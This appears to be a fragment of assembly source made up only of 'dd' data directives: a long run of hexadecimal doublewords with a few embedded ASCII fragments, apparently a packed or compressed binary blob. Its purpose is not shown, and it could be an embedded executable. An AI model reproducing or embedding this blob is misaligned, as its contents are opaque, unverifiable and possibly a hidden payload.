dd 1FE40E4Fh, 4A145888h, 2C954E89h, 4003A310h, 0E0E6C7C6h
dd 7F786h, 0FE5A6FBEh, 2C2250E0h, 41813800h, 34761702h
dd 0E3A1E18h, 0E3678410h, 0CA7DC0B8h, 300006E1h, 0C0012773h
dd 7F23EB2Ah, 0D4FA61h, 151307D6h, 0CF62B25Ah, 0A4D0E301h
dd 2A590ACh, 1F850D8h, 0B078C442h, 60119743h, 8001DB44h
dd 0FB3AF9B8h, 2822C77h, 0FA34A86h, 390225D0h, 13A424DBh
dd 9D4AC190h, 0C51FD868h, 80CC1EE7h, 36D0895Bh, 7E008BF8h
dd 0FC58252Dh, 70261BC0h, 27C754Ah, 1F7DDA39h, 5068D329h
dd 9E000519h, 0F416117Fh, 6394C9h, 313A7D25h, 89E50AD2h
dd 2A93D900h, 126CB113h, 9ED50F5Bh, 1FF6BC8Bh, 0C0575F87h
dd 0FC304086h, 7C004E3Fh, 7D123D4Ch, 430126h, 0F129227Eh
dd 2D9CFE9h, 3F42BC3Eh, 8DF200F9h, 7F4D3A04h, 52FB0724h
dd 10FAF0A1h, 0DF4C4762h, 4087A900h, 70317992h, 4F8B0088h
dd 8334F1FCh, 7803044Ah, 46068A1Bh, 147ED9C1h, 10D5F4h
dd 3BCB8937h, 15A6F3C3h, 0C746000h, 5AEC128Ah, 57FF051Dh
dd 0C0415E08h, 273AF875h, 6A985100h, 0FF314390h, 489B0028h
dd 23AFC2FCh, 0E0007883h, 0EC1D756Fh, 0F92A09E8h, 1C87A1FBh
dd 0A5F884F5h, 8B75003Ah, 701A40EEh, 0AE0790FCh, 28DC3050h
dd 949B0C60h, 0C93207AAh, 0B021FAD2h, 477CF139h, 9D4BB600h
dd 4502C80h, 0B86F75E9h, 0D43400B4h, 455DB2CAh, 0C81D30DBh
dd 0F31EF729h, 593D4080h, 0DA8906h, 1347E95Bh, 9C36C34Ah
dd 83A8B83Fh, 1E0EC81h, 0E2FAE0A3h, 41B5007Ch, 903C37E8h
dd 7900F01Dh, 7D28F320h, 1F240A80h, 403175FFh, 856AE3DBh
dd 1F07AE15h, 0C45B1C59h, 0AAF8C910h, 504D0322h, 0F5743158h
dd 0B586C194h, 0C066F932h, 87FB0E4Bh, 0CE4652CAh, 10584960h
dd 0D1350096h, 590CD722h, 50009A20h, 32125B3Bh, 0EC8814h
dd 8A532E44h, 4F3924A8h, 6113B300h, 897C620Eh, 4CE21D06h
dd 5A94075h, 0FF0912A3h, 6DE42E00h, 0EC7F4F14h, 0FE52039Eh
dd 0E0F94B7Ch, 2089DDC1h, 0D600FAEDh, 0E506ADA0h, 8001F4h
dd 7BBFF85Ch, 0A80B0ACEh, 0C1E4600h, 0D3F5890h, 7F6200A0h
dd 0F7B400Eh, 881266C8h, 0D80012B2h, 5893598Eh, 0CF22F66Fh
dd 7FC0012Ah, 0E9D6980Ah, 0DBD24503h, 0F0F35214h, 78EB19h
dd 30071A91h, 1DCC2C58h, 1A86A58h, 0D4612D44h, 10F0BB28h
dd 433E4C0h, 0FEF39450h, 89A0C052h, 54008BD5h, 2C8E0A2Eh
dd 0CB5C03h, 4A0D8F02h, 638AB406h, 241D2D0Fh, 351940E8h
dd 771A493Dh, 37FD0171h, 5DF01650h, 431ED4EBh, 0E8730400h
dd 0F243846h, 0F2940077h, 54A97D11h, 9D0049F1h, 0D1285C61h
dd 984AE98Ah, 70B31F84h, 0DA48C08Eh, 0C6087544h, 7761C400h
dd 0E57F9C8h, 708E075Bh, 306A2D4Bh, 463A7620h, 0CD25F50Fh
dd 554F409Ch, 7740561Ah, 287A7E59h, 5DFD6D0h, 1C2F89DBh
dd 41918024h, 14039BCCh, 0CE920BFAh, 5749A8D0h, 0D45D003Eh
dd 0D8CCB056h, 4B002B31h, 22CF2529h, 9B3D09h, 0AA1DD5AEh
dd 5098BEE1h, 0EF335600h, 48CD832Ah, 0BD5B0971h, 5F80325Fh
dd 84F85A85h, 0FDB21C00h, 0A81E532Bh, 0BF3100AFh, 0D21D1499h
dd 0F802BB85h, 19385755h, 606FC2C7h, 0BD0FDCh, 10C2731Bh
dd 23DE0892h, 0F77993F2h, 765E938h, 0FA832875h, 0E0EE72E7h
dd 26BD9981h, 10372EB4h, 190E3DF6h, 73E02A56h, 27C7661Ch
dd 0E9289102h, 0E0485E25h, 8BA18Ah, 0E4D414A3h, 88909DA4h
dd 64836602h, 0C02A8038h, 1818764h, 5F3E868Dh, 4084F742h
dd 0EB2720CEh, 51FF100Ch, 419FC15h, 0C3A78AAEh, 6071805Ah
dd 7304123Ah, 0DB77B111h, 0E78611C5h, 0C41007Ah, 7099C3CDh
dd 14057F3Ah, 757E0FB1h, 301D7980h, 8F580002h, 72BD0486h
dd 1300C6A8h, 0E5DA0908h, 0FE4C8A52h, 1E507A0Ah, 0BF6493C3h
dd 981AB80h, 1C850FC0h, 96883900h, 0F02FE0A2h, 0FC021DE4h
dd 2D51407Dh, 0A9104B9h, 31345901h, 458D12D8h, 0E7B0BF8h
dd 558F6833h, 40DC2D60h, 0D476D84Eh, 0E43E4A98h, 9C9294F2h
dd 2C3503F1h, 88E3CCA8h, 1385150h, 0CBD48A23h, 7056B2CFh
dd 6B00B387h, 0B5657C25h, 797B1D83h, 62CD005Ah, 0F926845Bh
dd 7014923h, 2D350371h, 27DCE24Fh, 53C800FFh, 2C30EB4Ch
dd 0CF02D1D6h, 0FE8AE7E8h, 0CA82E095h, 0C0756Dh, 0C336835h
dd 0ACDD5634h, 1209200h, 5482ABAh, 2F2200FDh, 9B511998h
dd 32008C07h, 0F80A0389h, 0E6443EAh, 2FC0C08h, 9A34EB60h
dd 7D008F4Ah, 0D15727AAh, 3515C18h, 2B4EAD53h, 28BBA5BEh
dd 44959C88h, 8A971202h, 0C03BFD01h, 72EE3D6h, 0D266E56Ch
dd 57A5C7A3h, 9794F008h, 0D800E0C3h, 7E85109h, 7C5BA2Fh
dd 6962279Ah, 763AC05Fh, 6D01EE74h, 8BDE9C53h, 0D9C187EFh
dd 3D8E230h, 82DF0D75h, 0A0A4E84Ch, 3203E259h, 0A4133D59h
dd 305A875h, 210801FBh, 0A31D319h, 0F7D5C048h, 22135500h
dd 4271109Dh, 949600B4h, 93CBE658h, 0E77BC295h, 2F9B3000h
dd 0BF4B2D87h, 5EC00034h, 0D383D4CCh, 2177F869h, 0A3110A00h
dd 63579D5Ch, 0B9510079h, 914C4DB0h, 0F600D6CEh, 6A65AF5Bh
dd 1E46728Ch, 43B99944h, 0A58B7D89h, 0EF9C13C0h, 0EC830600h
dd 0FB8D810h, 78207B96h, 90100B9h, 6531F3E8h, 2B0F27B6h
dd 6FAA56B0h, 2499E0C4h, 595350h, 448CDD58h, 70FF1B1Ah
dd 0C4060C00h, 33B8040Dh, 891200D9h, 5B3936E2h, 551F2CA2h
dd 807AE011h, 0AD05D354h, 91F849h, 6CC88925h, 0A34A2471h
dd 0A540400h, 3870B506h, 47640027h, 3B74A607h, 8D000583h
dd 85E1D11Bh, 188A910h, 6AE48661h, 0C0953F1Ch, 0C8002C97h
dd 6B7C818Fh, 0A5FA10h, 0E8067525h, 6602EBEDh, 1C453303h
dd 0F115FC51h, 0CDF86010h, 77190074h, 7204583Bh, 8010A67h
dd 0C0705A4h, 0F5E0C975h, 0B0360084h, 0EEE7F432h, 0F0095EBh
dd 8A129166h, 19A810h, 0EF755CC2h, 6FB8F844h, 64B05B00h
dd 0C94BC4B3h, 0A3300034h, 9D747A68h, 130F6A82h, 871B7501h
dd 84D0C3EFh, 7A88214Ch, 53CF022h, 9D7D83F4h, 5598C0C2h
dd 85001018h, 5077CDB1h, 0F6B9D36Dh, 0A43400F4h, 8C12A515h
dd 450043E8h, 356536E9h, 371C8Dh, 3ADC3880h, 1780F08h
dd 0E0EEEDFDh, 700015D5h, 0E814025Bh, 6633D7h, 823B8013h
dd 8D26EA0Fh, 0A76A3Dh, 0B747C53Dh, 565DD6h, 0F96C34Ch
dd 2752BF3h, 1468D0Fh, 6268C0AAh, 844BE8h, 39554C64h, 0C749F8CEh
dd 936F400h, 1F8203D0h, 90FA0081h, 618F0FA4h, 40488B92h
dd 3348002Eh, 35C65203h, 0B61C0765h, 0C75CC3E1h, 744450E3h
dd 0C274DEC7h, 0E9856703h, 0A88921DBh, 72047E2h, 3A2CD4CFh
dd 0C203E056h, 4EE03D40h, 0C6487F00h, 33A13584h, 43A9035Ch
dd 40AC4C41h, 37A7F090h, 3030976h, 20DF7285h, 0FF5FA8C7h
dd 2A0200D2h, 590B5D1Ah, 6B0EC1CCh, 0C06E7265h, 321D336Ch
dd 7B643C2Eh, 920FF594h, 6F673C70h, 61500073h, 4E7468EEh
dd 51006D7Dh, 0A8231441h, 0FFEE010h, 71A75292h, 40FFE3CEh
dd 0C68F60ABh, 0E100EE45h, 68D9467Bh, 24BDE03Fh, 87DC91h
dd 10F801C5h, 1E3974B1h, 7023004Eh, 0C47275E2h, 64210052h
dd 71014B46h, 361D0EE8h, 6000C7B1h, 92B2A5C3h, 6F903FD4h
dd 6400EB3Bh, 967AC5ABh, 58007352h, 784B1A37h, 906850h
dd 0FC3DB3DAh
dd 466BF053h, 0BF16A60Fh, 0C793001Eh, 0E892AB34h, 6A230B43h
dd 0EC803305h, 2BEB038Ch, 261B6F0Ch, 0F61811h, 2113BD80h
dd 0BEAF0A48h, 0F37D9307h, 678EF90Ch, 9FE0CEEEh, 22D12h
dd 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh, 0E8102904h
dd 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h, 755329h
dd 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h, 89265B8Fh
dd 73041E20h, 0A92443F5h, 0E0DBC6C9h, 666F5380h, 61777400h
dd 0CA655F72h, 0DE48001Ch, 0FEF9633Fh, 0D83D9173h, 0FBEB802Bh
dd 6E232938h, 10BC1F13h, 0A1FA80A4h, 0F8357F14h, 38858700h
dd 0B5213912h, 0A4707CFh, 0E0242758h, 1322A654h, 0B1E2040Fh
dd 9BC2A088h, 6F6621h, 753958E7h, 0E5B6C74Eh, 0A6385C00h
dd 0BFA37756h, 3490009Bh, 0FDCF51D9h, 64031019h, 0B5ADA648h
dd 8FE8C0E0h, 0D3371F49h, 0FC863FA2h, 5205503Bh, 230C5100h
dd 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh, 553BC880h, 0E413B4FCh
dd 2E030A37h, 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh, 9A2C0A6h
dd 0CB41FCEEh, 0F13DCCE3h, 80047B38h, 2A7D3E81h, 0AB15A68h
dd 998438Bh, 0B3E803EAh, 50727B99h, 6F0CBC00h, 0F3F4120Ah
dd 0E87F47Ch, 0CDE31328h, 0C0A7C845h, 89582A2h, 3C00F178h
dd 0AC042512h, 48E09378h, 1000B62Ah, 8D520C06h, 4A000EBAh
dd 214BC22h, 2993E8h, 0E6A2D272h, 11C98E7Dh, 6DF81F00h
dd 1DF1F35Eh, 0B18B0051h, 1A7EA256h, 3C00C9EDh, 0AEB77DF2h
dd 52AAE9h, 62BB4433h, 21590504h, 0F7EB3400h, 9612CADh
dd 76747FB0h, 745B48E8h, 49017500h, 0DC76DA19h, 894C3001h
dd 6CB0C46h, 17FF20h, 45C3B12Dh, 9B480B74h, 2EFC207Dh
dd 3AC0E900h, 4BB8621Ah, 0F2BA0380h, 40B95F31h, 1C46C7D0h
dd 65D6E800h, 827A079h, 50C4FA18h, 0B80FE502h, 29C00313h
dd 62491778h, 4424A0F7h, 14002018h, 597E8088h, 222648h
dd 0FB96B2AEh, 10510F99h, 7060520Ch, 852046h, 0FF32DA53h
dd 8920EB3Ch, 7E810600h, 8BB3042Ah, 63A600B8h, 4EFF1FA3h
dd 0EA0050EEh, 7BE82836h, 44C874h, 812D8CC9h, 6A96730Bh
dd 46E12C07h, 0AB303950h, 5CAD2Ah, 0B1D58990h, 968D1361h
dd 7C2EB900h, 4736FF24h, 0A85A0165h, 0D68B2280h, 5CFD86Eh
dd 0BC074C79h, 1A1D0906h, 85405B80h, 2A8801F9h, 4AC2572Bh
dd 15472019h, 8023A33Dh, 22EB5D0Ah, 1491C6h, 8AB29554h
dd 0F66A5840h, 5E0F617Eh, 2083E8F5h, 3B5374B4h, 0B1223FB0h
dd 6FC91781h, 607E316Bh, 20736C0h, 0FA480775h, 5EE4B1E0h
dd 0A47CC3h, 23246D7Ch, 69B81188h, 0E9EB0402h, 809881A2h
dd 0DBF08BB3h, 0A488008Dh, 49CF9092h, 2403D414h, 0EEDB108h
dd 4BCAE0EAh, 143148E4h, 5C181A00h, 1C149FB3h, 4CE41190h
dd 7A3E2400h, 1B13549Ah, 0B08200B5h, 87D882Ah, 0F80E1C90h
dd 200AAE11h, 75CDFE07h, 0C30B02A4h, 8A94DE28h, 4FBABFC0h
dd 0E6F34Ch, 0EF461CD3h, 20C30Eh, 0F718AFA6h, 0E9B767B8h
dd 0A97231Dh, 0E479254Fh, 7580961Ah, 3C2AA1D8h, 0E8950EAh
dd 0B400FA83h, 85541977h, 6032198h, 132453E1h, 41C5E94Eh
dd 98042CD4h, 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh, 784A81E4h
dd 1A750A00h, 73BB9A4h, 0A573E3C3h, 8A3D50F8h, 80011109h
dd 48302F9h, 0E1F46B42h, 1D70FFC1h, 0B822000Dh, 0B046A868h
dd 9C0FC41Ah, 600A3D32h, 81412919h, 0EBBF0074h, 764850DEh
dd 58005216h, 0B472114Ch, 0EC04C601h, 40FF001Ah, 816656F3h
dd 13005830h, 0F8425290h, 263C494Eh, 0ED51FFAh, 6F60D23Dh
dd 0DBF2724Ch, 62B45E00h, 0B0FAE8F1h, 95AC00DDh, 3AC2484Fh
dd 6500F426h, 104B8339h, 203CA2Bh, 7CF080C4h, 0A1808A1Fh
dd 3A9B3C42h, 0D701172h, 60AA062Eh, 1EBEE00h, 122B4A33h
dd 3B8930h, 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h, 0CDEB5837h
dd 43C30EACh, 0CFE0850Ch, 6930C235h, 8797743Fh, 0FC5AE45Bh
dd 0E13D9B12h, 0E5701877h, 120F1DF1h, 27B9C00Ah, 4B35FF05h
dd 0BCC60C00h, 58F08904h, 24ED0198h, 4084B073h, 0E2E8700Ah
dd 76805A00h, 45E89C6h, 56FF1D17h, 4587C718h, 0B8942069h
dd 76007166h, 6F47BAF1h, 75BE77h, 0B7070FB2h, 0B045B3C8h
dd 21C5F507h, 1E903347h, 90FC2E75h, 2803007Eh, 4987B8BBh
dd 600452Bh, 1167FD1h, 7DC5A30Eh, 421900F4h, 5F4CA4F3h
dd 59503302h, 100DA85h, 915D7A62h, 0B6E3D06h, 0AB75A04Eh
dd 39F6C780h, 5800D050h, 49A6595Ah, 3B77426h, 95772BCDh
dd 0B87807D6h, 0BA258E0Eh, 83750060h, 0EA7E40F9h, 0E9071F21h
dd 0B951C004h, 4A27269Ah, 1E773F00h, 0D7532C7h, 7ED5015Bh
dd 608F0464h, 1AC3E4FFh, 3FDC7100h, 2812F825h, 0EC0E3DA1h
dd 0CB802BBBh, 2F820B7Eh, 44E874D1h, 0F1875A0Bh, 1D2D00F5h
dd 0AEA0BAh, 542B7EBDh, 3B90E91Fh, 89DB520Fh, 3FDD201Eh
dd 580809F3h, 8213B67Dh, 63490017h, 56C3EB15h, 10D38400h
dd 0E22B5A27h, 121403CBh, 0C928B5CAh, 0E9428688h, 69C75300h
dd 8D368158h, 55FF0E51h, 0B967C17Ah, 5A6CC001h, 0E202A4AAh
dd 0F04C49A9h, 7B0DE020h, 40950483h, 0C1AEF2F4h, 0D349D125h
dd 21ED6C00h, 2C663B97h, 0D7F60012h, 0ABA63790h, 0E000209Fh
dd 4574487Ch, 71416CBh, 7F8DD5A2h, 0F29C02Bh, 5F001FE2h
dd 2CDB92C0h, 4F6855h, 0DE011990h, 0ECE8C1C9h, 4224B201h
dd 3D620F16h, 9E18FCh, 3318C50h, 800422B3h, 340045E0h
dd 0C3158451h, 0EA48D8F7h, 4442007Dh, 3001F9E2h, 0B0EE0B3h
dd 0CB473198h, 0C7670752h, 2DA3C3E0h, 6577005Eh, 70EED93Dh
dd 150001A4h, 0A7FFF80h, 0EE13FC8h, 1C4002A0h, 840542E0h
dd 770008FAh, 380C9C72h, 7A47C350h, 0F424000Fh, 9680C012h
dd 8C7A1698h, 0BEBC200Fh, 6B286119h, 16A61CEEh, 80951F7Ah
dd 43B7E16Fh, 0C0023BAh, 0D4A50410h, 0FE800DE8h, 84E7002Ah
dd 14A39174h, 0E6F4F4F0h, 2DB52800h, 31A0020Ah, 0E35F18A9h
dd 8BF3C30h, 8E1BC900h, 2EC54034h, 7CA258BCh, 76FA3700h
dd 0B6B3A0Eh, 3E91DE38h, 234400E8h, 883E8AC7h, 4AC0162h
dd 0AD78EBC5h, 7A80C041h, 26B71701h, 44D8D710h, 1AC90C0h
dd 8678326Eh, 30484087h, 0A0357B5h, 0A968163Fh, 0EDA1804Bh
dd 0CE0703CCh, 4ED3C21Bh, 1484A0C8h, 5161F800h, 527A5976h
dd 0A5C80407h, 0C0B99019h, 0A0556724h, 200F3A0Fh, 8F27E0F4h
dd 0C358CECBh, 0F894093Eh, 3F3978D8h, 875C813Dh, 36B90BE5h
dd 8FD1D7B7h, 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch, 8300629Eh
dd 45812296h, 1C6F7CF8h, 3F657AFCh, 2B70B500h, 9DC5ADA8h
dd 1697F00h, 0FFCFA6D5h, 781F0E49h, 0C314B6BDh, 16C59B03h
dd 0EF80B3ABh, 0E001413Dh, 0A48E98Ch, 93E4BAE4h, 24AAE0A8h
dd 0E78E617h, 0B60516A1h, 55718012h, 8D093927h, 70F70Fh
dd 0C9304093h, 0FFE33D3Ch, 8A529681h, 838E49E7h, 0EBFB9D9Ch
dd 5152007Eh, 6A2F8C43h, 0F00195Ch, 0BBD226FCh, 1EE37640h
dd 8029F2CCh, 7D817C84h, 0A141C44h, 0A4DB90h, 406F9FA4h
dd 1F8AA17h, 0E30F10AEh, 0ECFAC4C5h, 0B01C9C59h, 0DD002AE9h
dd 4564F28Ah, 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah, 0A7A262D1h
dd 0D800DC07h, 39B83Eh, 0E91C746h, 0A0AEA603h, 0A3E31900h
dd 750C17D0h, 86812C39h, 48C9002Ah, 93A7E44Dh, 353BF0E1h
dd 0EDB2B800h, 5D1CE553h
dd 0FDC5003Dh, 929E8B80h, 0F000A65Ah, 0C02001A1h, 0F8CA554h
dd 0E5FB6137h, 5D259D01h, 0DBF9C089h, 0F3F86700h, 7BA2BF27h
dd 80CAC0C8h, 20979B6Eh, 28A38h, 25C46052h, 59F075h, 562FCD5h
dd 0CAAE3511h, 3F857B00h, 0F7144EFAh, 0B33B007Dh, 0CB0413C8h
dd 0C1FE964h, 7F80BC03h, 59D109A8h, 70C207E2h, 7023A508h
dd 5E8C2855h, 5C00B07Fh, 4C914197h, 0B18D0h, 875C91Dh
dd 0DE74D20Fh, 58F8DBF0h, 0A791001h, 0EEDAF726h, 73883ECh
dd 1CF3673h, 0D97E8334h, 20E9DB91h, 8B75C16Fh, 3582CE00h
dd 0E75B906h, 0E0D100F6h, 0D68ED24Eh, 3B0ED7C0h, 870B72FDh
dd 0F3700477h, 382B051Dh, 40001B1Fh, 0F75BE7E2h, 0B301B1C3h
dd 4607740Ah, 0F7205669h, 0F3E003E5h, 0E8EBD233h, 0F08B5BD0h
dd 0C023980Eh, 0FE832008h, 5875FFh, 0B0FCA11h, 5B3981F2h
dd 5F18000h, 481C2478h, 0FFDA00C3h, 0E8048237h, 0ED30F8D9h
dd 0ABAA462Bh, 2FE42EA8h, 0F882681h, 8B40835Ah, 0A77B9EDAh
dd 5D64F300h, 47565948h, 0C8EE07h, 0F07E25BEh, 0F495725Ch
dd 0CA92AC07h, 7520F2F5h, 42CC88h, 2F3344DCh, 85844F80h
dd 251520Fh, 40400FABh, 9C7C20F9h, 302C00F1h, 0D81C051Ah
dd 0AB07B8C3h, 0FE2D331h, 2A60A510h, 5CFB0EE0h, 0C121061Ch
dd 708B1FFAh, 9900E6FCh, 38F8D333h, 3B487FADh, 303F5EF9h
dd 0E8000EBEh, 395364DAh, 2500AFEAh, 7E75F448h, 9D5442h
dd 5E24054Bh, 0C93793C1h, 2C383500h, 535CAC92h, 317F000Ah
dd 0C1F096Fh, 0F9031474h, 0FC2B7A81h, 0EC10F873h, 50F230A5h
dd 0D81754DCh, 57F81A00h, 703C685Dh, 83FA42h, 0F01212Dh
dd 0CC2ABCE1h, 8A309201h, 2299B355h, 3D3CF0h, 0DE605C6h
dd 43460E02h, 1F0044F8h, 0E8C76603h, 0AF9D6Ch, 287F34A7h
dd 92A40901h, 897058h, 4991410h, 0ECA78056h, 98EB00E8h
dd 2940693Fh, 541F4BFAh, 2A050A90h, 5D80877Eh, 1A5A6Bh
dd 697947F3h, 5F76139Bh, 22302D00h, 9DAB7CBAh, 3AE500F9h
dd 0F4AF25Dh, 0D07B25Ah, 472CA31Bh, 9001BBE0h, 84280015h
dd 204838DBh, 0C201F229h, 94345577h, 0D660CBF3h, 0B8090092h
dd 0FC114710h, 0F8008891h, 0F072F4E4h, 90CEC39h, 8B82F53h
dd 8343CC00h, 0CC033D2Ah, 197DE0D7h, 25E2F00Ah, 0D22E00E8h
dd 1C8368A8h, 0E175406Ah, 987B4503h, 0D8A50C02h, 0AEB1Fh
dd 2D31A153h, 3D0D8B43h, 0E01D8900h, 78156B19h, 83784Fh
dd 2F2893E8h, 1CD422A3h, 56E75403h, 0E0A531B3h, 5771E14h
dd 32157CC5h, 0D04CC74Eh, 8B730A3Bh, 282B2903h, 0A8CD191Fh
dd 581246h, 548E0B2Dh, 318A4C9Bh, 1DC80D00h, 1442058Bh
dd 0FF600084h, 15F66428h, 6D182C6Bh, 0AD04C382h, 4F34176Eh
dd 80B71E5Bh, 7A17E022h, 0D903E612h, 0E3535A88h, 0AEE2A0B6h
dd 0D4A100C5h, 8A7B3448h, 0CD00C48Bh, 0D88E6927h, 0B4E641h
dd 8900460h, 0CAA8A10Ah, 0EA31300h, 0BA4B80Ch, 0EB2503E8h
dd 8466937h, 94047BC8h, 4B13BA00h, 75F998B1h, 25EE6Eh
dd 9E9D5014h, 764D8BC9h, 5328A200h, 20D53AEDh, 0C10CE627h
dd 0EC908458h, 0C55B204Fh, 0D835FF00h, 0BCB93D14h, 331C014Eh
dd 54CC2524h, 790BCC99h, 3401577Bh, 932DC45h, 69E480C4h
dd 0EB601EA6h, 0A49ECF10h, 722413C0h, 99282004h, 2309EE08h
dd 149118h, 7C0CE47Ah, 478E1EA8h, 40A05EA4h, 3998729Ch
dd 90691C94h, 0F07FFE1Ah, 6C009170h, 64E468C8h, 98396072h
dd 22586132h, 60502354h, 4800C819h, 407244E4h, 601C3C39h
dd 23342238h, 2C009130h, 0B4E4B8C8h, 3BB072h, 0FC319382h
dd 0A6F8104Ch, 0F4470800h, 0EC91F023h, 9FE800CFh, 10E494A1h
dd 802E0CAh, 0D872DC64h, 0D0464139h, 23CC5E80h, 0DEC491C8h
dd 0F8CE100h, 3D207B7h, 10E200C1h, 0B0C3C20Bh, 4F98A1E8h
dd 0B62F9300h, 90AE01CCh, 7FE10181h, 187BD521h, 4914DC05h
dd 57780800h, 64487710h, 5387000Ch, 517F90FDh, 1AB80F8Fh
dd 697C9717h, 4C459501h, 4770F909h, 0B1465080h, 0A2423A3Ch
dd 0E7641A83h, 898F06Ah, 0C83EF111h, 72F300F2h, 1CF539F4h
dd 0F7C8C0F6h, 0F991F823h, 0E4FAC800h, 39FC72FBh, 0FE1C0EFDh
dd 0E08CFF8Eh, 2303E12Ah, 0C8E391E2h, 72E588E4h, 0E73900E6h
dd 0CF21E81Ch, 0E901884Bh, 32EAC5D7h, 0E20EB18h, 0ED1C30ECh
dd 0EF23EE42h, 0C8D09100h, 72D2E4D1h, 0E83B75D3h, 0D6390CD5h
dd 0D82AD71Ch, 91D92301h, 0E4DBC8DAh, 39DDC040h, 0DF1C20DEh
dd 0C123C000h, 0C3C8C291h, 72C401E4h, 1CC639C5h, 722BEC7h
dd 0CA91C923h, 0CCE4CB50h, 39CD0472h, 0CF1CCEh, 91B123B0h
dd 0B3C824B2h, 39B58111h, 80B71CB6h, 0B923B822h, 0C8BA91h
dd 72BCE4BBh, 1CBE39BDh, 12A0BF40h, 9BA122h, 705CC165h
dd 431E23E8h, 1EBC848Fh, 425E082Ah, 65209F03h, 0E75BD8FEh
dd 0AC901DCFh, 0C29C032h, 4B103CBAh, 0AA1FFC7Fh, 51400E2Ah
dd 0F62F0501h, 2AB0FEh, 65637845h, 0A6D13A70h, 805D883Ah
dd 8B530A7h, 1C8A1020h, 0C0685CD4h, 817E2423h, 651F4845h
dd 5B037061h, 0ABE45790h, 95809CB2h, 0C015E2h, 754F450Ch
dd 66017473h, 6D654D00h, 3A79726Fh, 9520001Ch, 0A9E95C5Eh
dd 91EAB840h, 450BD4F5h, 0DD6E4909h, 3FEE0EBDh, 588E989Dh
dd 48EF8390h, 2F0C9066h, 28400F74h, 0D8A06C61h, 0B258F057h
dd 4C6030B0h, 2D12C484h, 846C0523h, 817E5F50h, 0F0756020h
dd 10165209h, 35010E65h, 47F658A8h, 79043CD0h, 0F01F642h
dd 76694445h, 415A7900h, 90016FBBh, 585E60C1h, 0EED4109Ch
dd 2C00048h, 676E6152h, 9DFD1965h, 7700C820h, 8210C92h
dd 4076014Fh, 6F6C66AFh, 2B74F44Dh, 0D95CB41Ch, 64221DC0h
dd 0FC0C20E9h, 1E0A7EBFh, 0B9063B3h, 0F38F7AD5h, 688461A0h
dd 940B2E60h, 7626B4h, 4F64691Eh, 0D2902A70h, 0BE07F193h
dd 5B92B740h, 0C237B4C0h, 0E74F1FBCh, 61F16C4Ch, 14D4C1A4h
dd 9A1F0062h, 0D0084740h, 520A6E55h, 0EE3A5964h, 6C76AB28h
dd 0D188E500h, 8760220Fh, 4F6F0450h, 81854A36h, 0D044F649h
dd 301DB90Ch, 97D567Eh, 8C433Ah, 63E98D01h, 7542F4AFh
dd 0C01D0024h, 6F43450Dh, 0B002BAD4h, 80A2D858h, 0A00543BDh
dd 0EACC4Ch, 41451005h, 7388C363h, 0E0568A00h, 0B9616C89h
dd 0BC2A1E8Eh, 40F64047h, 26F42CB1h, 325048h, 1656C8Bh
dd 503890E4h, 0C084CA64h, 0E803B0Ah, 74005345h, 6B632661h
dd 67905081h, 4064A294h, 1109C93Bh, 20747003h, 0A7EF6C6Bh
dd 58AFEC30h, 52E864h, 5684C83Bh, 390D8761h, 8A04512h
dd 0D4FC8D00h, 58EA5C40h, 0C51E2449h, 0BD59C02Dh, 23614609h
dd 8D646F0Eh, 0B260C057h, 7FE41DA8h, 8462030Eh, 738572D9h
dd 490BDE8h, 839C6655h, 41491F0Ah, 4365D2ACh, 8F60E074h
dd 0B289E7E4h, 890C8112h, 0C4002A1Eh, 8D70E3DCh, 6903FFh
dd 59242552h, 0FDAA7ECh, 0C1C20100h, 0F76610EAh, 5DF407F3h
dd 0D0F9ED08h, 0B0130693h, 0BD04D809h, 0B2768010h, 4CEDA1FEh
dd 37003E74h, 525A6CCFh, 5C00212Bh, 6A69B3A9h, 29EA84h
dd 10236DAFh, 2CA66706h, 1B409D00h, 44B7C38Bh, 4DEE00EDh
dd 0B3E58F5h, 5B016D47h, 0D70D3D28h, 4BF8FC67h, 3AEB00E1h
dd 0B04A2ADAh, 0C91690A5h, 0B1005388h, 0EBA80996h, 0D2D900DDh
dd 89DC520Fh, 390716C1h, 47AC76D1h, 0F3C9003Eh, 12A74A6h
dd 95FF5E8Ah
dd 70627852h, 770F7A94h, 0C07D4855h, 0A120DC7Fh, 0A0C2703Bh
dd 0FB38F5h, 300FD874h, 0D706C3B6h, 69D02900h, 31DFAE5Bh
dd 2EEA003Ch, 64EFADD4h, 2A00ED58h, 43A0E66Eh, 7CF33Bh
dd 6807307h, 7620FF1Fh, 0A16F40Eh, 0C58B407Dh, 0EB6192h
dd 2A914E17h, 6CF83037h, 0CB2BCE00h, 0D3674175h, 99330073h
dd 575AD0DEh, 6A002187h, 51A65F09h, 0E44E08C6h, 0C16F03B8h
dd 67E4BAC2h, 604FEBE0h, 1AFB0501h, 6844BDD8h, 2502C8h
dd 54F7644Ah, 1E036669h, 0E7890800h, 0F90FC685h, 4D4F0010h
dd 6818BAE2h, 0F8FE31B2h, 0AD0049E2h, 0F062B034h, 0F829016Ah
dd 0B2640054h, 10240CDBh, 860067E8h, 557550BAh, 12F3B91h
dd 3822F5D5h, 402E1004h, 0C4F278E2h, 3A3F9400h, 0F4DAE445h
dd 0EE6A2E96h, 0A9F0001Bh, 795990AAh, 19E5F100h, 0ED4B405Eh
dd 0F4263868h, 0DFEA503h, 51F01F8Ch, 0D90197F0h, 89153D65h
dd 0BCC8F5Ch, 842401D4h, 0EB66ECA1h, 0AFE8D490h, 43CC5600h
dd 9F0C62C6h, 5FFE4Ch, 0D4D68251h, 993537AAh, 5A880207h
dd 32079D6Eh, 31566910h, 3EF83F84h, 40E7C39Dh, 747F588Ah
dd 5C7C1228h, 9AEFF00h, 6B291B50h, 3F840002h, 4461765Bh
dd 884CEE0Eh, 75400E9Fh, 3802403Ch, 8C4F06h, 7C7FFF85h
dd 0CCD99DC7h, 0FAACCF00h, 0B815D39Fh, 697970h, 2658E711h
dd 560580F0h, 4DB90102h, 0E1BA7FCDh, 0C73F692Fh, 0B38069D4h
dd 0E4CCE884h, 0AA0014E8h, 9213D353h, 0A32CFACh, 24F40852h
dd 70FC00E5h, 0A40F45E3h, 12FB307h, 33D06DF7h, 3D3A20D2h
